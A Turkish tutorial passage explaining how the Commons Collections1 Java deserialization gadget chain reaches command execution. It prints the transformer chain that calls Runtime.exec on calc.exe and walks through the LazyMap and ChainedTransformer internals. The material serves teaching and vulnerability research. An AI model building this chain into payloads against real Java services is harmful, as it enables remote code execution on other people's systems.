Eğer java deserialization payload'ları hakkında hiçbir şey bilmiyorsanız, bu kodun neden bir calc çalıştıracağını anlamak zor olabilir.
Öncelikle, Java'daki Transformer'ın bir sınıfı alan ve onu farklı birine dönüştüren bir şey olduğunu bilmeniz gerekiyor.
Ayrıca burada çalıştırılan payload'ın eşdeğer olduğunu bilmek de ilginç:
Peki, ilk yükün sunumu bu "basit" tek satırlara nasıl eşdeğerdir?
Öncelikle, yükte bir dönüşüm zinciri (dizi) oluşturulduğunu görebilirsiniz:
String[] command = {"calc.exe"};finalTransformer[] transformers =newTransformer[]{//(1) - Get gadget Class (from Runtime class)newConstantTransformer(Runtime.class),//(2) - Call from gadget Class (from Runtime class) the function "getMetod" to obtain "getRuntime"newInvokerTransformer("getMethod",newClass[]{ String.class,Class[].class},newObject[]{"getRuntime",newClass[0]}),//(3) - Call from (Runtime) Class.getMethod("getRuntime") to obtain a Runtime ojectnewInvokerTransformer("invoke",newClass[]{Object.class,Object[].class},newObject[]{null,newObject[0]}),//(4) - Use the Runtime object to call exec with arbitrary commandsnewInvokerTransformer("exec",newClass[]{String.class},command)};ChainedTransformer chainedTransformer =newChainedTransformer(transformers);
Eğer kodu okursanız, dizinin dönüşümünü bir şekilde zincirleyebilirseniz, rastgele komutlar çalıştırabileceğinizi fark edeceksiniz.
Son bölümde bir Map nesnesi oluşturuluyor. Ardından, LazyMap'ten decorate fonksiyonu, harita nesnesi ve zincirlenmiş dönüştürücüler ile çalıştırılıyor. Aşağıdaki koddan, bunun zincirlenmiş dönüştürücülerinlazyMap.factory niteliğine kopyalanmasına neden olacağını görebilirsiniz:
protectedLazyMap(Map map,Transformer factory) {super(map);if (factory ==null) {thrownewIllegalArgumentException("Factory must not be null");}this.factory= factory;}
Ve sonra büyük final gerçekleştirilir: lazyMap.get("anything");
Bu, get fonksiyonunun kodudur:
publicObjectget(Object key) {if (map.containsKey(key) ==false) {Object value =factory.transform(key);map.put(key, value);return value;}returnmap.get(key);}
Ve bu, transform fonksiyonunun kodudur.
publicObjecttransform(Object object) {for (int i =0; i <iTransformers.length; i++) {object = iTransformers[i].transform(object);}return object;}
Yani, factory içinde chainedTransformer'ı kaydettiğimizi ve transform fonksiyonu içinde tüm bu zincirlenmiş dönüştürücülerden geçerek birbiri ardına çalıştırdığımızı unutmayın. Komik olan şey, her dönüştürücünün objectolarak girdi alması ve object'in son çalıştırılan dönüştürücünün çıktısı olmasıdır. Bu nedenle, tüm dönüşümler kötü niyetli yükü zincirleme olarak çalıştırıyor.
Özet
Sonunda, lazyMap'in zincirlenmiş dönüştürücüleri get metodunun içinde nasıl yönettiği nedeniyle, sanki aşağıdaki kodu çalıştırıyormuşuz gibi.
Not edin ki burada ComonsCollections1 yükü için kullanılan gadget'lar açıklandı. Ama tüm bunların nasıl çalışmaya başladığı bırakıldı. Bunu görmek için buraya bakabilirsiniz ki ysoserial, bu yükü çalıştırmak için bir AnnotationInvocationHandler nesnesi kullanır çünkü bu nesne serileştirildiğinde, payload.get() fonksiyonunu çağıracak ve bu da tüm yükü çalıştıracaktır.
Java Thread Sleep
Bu yük, web'in savunmasız olup olmadığını belirlemek için kullanışlı olabilir çünkü eğer savunmasızsa bir uyku çalıştıracaktır.